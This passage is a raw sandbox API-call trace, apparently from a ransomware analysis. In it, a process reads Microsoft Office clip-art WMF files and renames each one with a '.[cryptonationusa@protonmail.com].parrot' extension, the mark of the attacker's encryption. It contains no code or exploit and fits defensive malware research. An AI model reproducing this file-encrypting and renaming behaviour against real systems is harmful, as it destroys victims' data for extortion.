office\\media\\cagcat10\\j0149887.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.559] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.561] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.561] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2068, lpOverlapped=0x0) returned 1 [0161.563] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157763.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.568] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.568] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.570] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.570] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d94, lpOverlapped=0x0) returned 1 [0161.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.571] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.577] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.614] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1426, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1426, lpOverlapped=0x0) returned 1 [0161.617] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.618] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.620] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.623] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.623] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.625] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.625] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4d38, lpOverlapped=0x0) returned 1 [0161.627] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0161.634] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.634] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.635] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7018, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7018, lpOverlapped=0x0) returned 1 [0161.639] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.640] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183290.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0161.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.644] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.646] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.646] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14fa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x14fa, lpOverlapped=0x0) returned 1 [0161.647] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.647] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183328.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.654] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.654] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.666] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.666] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x171c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x171c, lpOverlapped=0x0) returned 1 [0161.668] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.674] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.675] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.675] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2f64, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f64, lpOverlapped=0x0) returned 1 [0161.677] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.680] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.685] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.685] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.687] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b3a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0161.688] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262048 | out: hHeap=0x5b0000) returned 1 [0161.694] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.694] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.695] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.696] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4746, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4746, lpOverlapped=0x0) returned 1 [0161.698] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2270090 | out: hHeap=0x5b0000) returned 1 [0161.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.704] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.706] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.707] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31da, lpOverlapped=0x0) returned 1 [0161.709] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.713] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.717] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.717] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.719] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x275c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x275c, lpOverlapped=0x0) returned 1 [0161.721] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.725] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x226c050 | out: hHeap=0x5b0000) returned 1 [0161.727] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.727] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.729] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.729] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfca, lpOverlapped=0x0) returned 1 [0161.729] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.732] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0161.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.734] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.735] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7b2, lpOverlapped=0x0) returned 1 [0161.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0196164.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0196164.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0161.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22512f0 | out: hHeap=0x5b0000) returned 1 [0161.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0161.738] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0161.740] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0161.740] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0161.742] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 